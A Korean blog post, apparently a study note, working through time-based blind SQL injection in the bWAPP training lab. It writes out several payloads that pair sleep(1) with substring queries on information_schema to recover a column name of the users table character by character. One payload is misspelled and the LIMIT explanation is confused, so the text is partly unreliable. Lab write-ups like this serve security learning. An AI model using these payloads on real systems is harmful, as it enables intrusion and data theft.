owasp 실습(bwapp) -2 (sql injection blind time based)

Web hacking|2020. 12. 8. 10:38

 

 

 

 

blind time based

 

 

 

 

참거짓 반응보기-----------------------

 

' or 1=1#

(불가)

 

 

 

' or 1=2#

(불가)

 

 

필터링되있기 떄문에 참거짓을 확인할수가없다.

 

 

 

 

 

 

 

 

 

 

이럴떄 

이러한 조건을 준다.

sleep()= mysql 에서 사용하는 내장 함수이다. 사용자가 지정한 시간만큼 실행 대기\

 

 

참 반응을 주면

 

' or 1=1 and sleep(1)#

 

위에   빙글빙글 도는 것처럼 대기하는 것을  알수있다.

 

 

 

 

 

반대로 거짓반응을 보면

 

' or 1=2 and sleep(1)#

 

 

 

거짓반응이되서 sleep이 실행이되지않으니까

참일떄만 대기를 하는걸 알수있다.

 

 

 

 

 

 

 

 

 

 

1) 현재 접속중인 DB의 users 테이블의 첫번쨰 컬럼에서 두번쨰 문자 를 찾자.

 

 

 

limit 0,1 

0은 첫번쨰 컬럼

1은 행을 의미

limit 0,2

0은 첫번쨰컬럼

2는 행을 의미

 

substring (2,1) 하면

두번쨰 문자의 한 글자만 나오게한다

 

 

 

 

 

 

 

 

 

' or 1=1 and sleep(1) and

substring((select column_name from information_schema.columns where table_name='users' limit 0,1),2,1)<'a'#

 

이게참이면 대문자

(반응이없으므로 대문자는아니다) (소문자라는 뜻이다)

 

 

 

 

 

 

 

' or 1=1 and sleep(1) and substiring((select column_name from information_schema.columns where table_name='users' limit 0,1),2,1)>'a'#

 

이게참이므로 

빙글빙글도는 반응이나온다.

 

 

 

 

 

 

 

 

 

 

 

' or '1'='1' and substring((select column_name from

information_schema.columns where table_name = 'users' limit 0, 1),2 ,1) > 'a' and sleep(1)#

 

 

(빙글빙글 돌면 참이라는 소리이다!

이방식으로 여러번 참과 거짓으로 글자의 범위를판단한다)

 

 

 

 

 

 

 

' or '1'='1' and substring((select column_name from

information_schema.columns where table_name = 'users' limit 0, 1),2 ,1)='d' and sleep(1)#

 

 

(빙글빙글 돌고있으면 그게 참!

users 테이블의 첫번쨰 컬럼에서 두번쨰 문자는 d이다.)

 

 

 

 

 

 

댓글()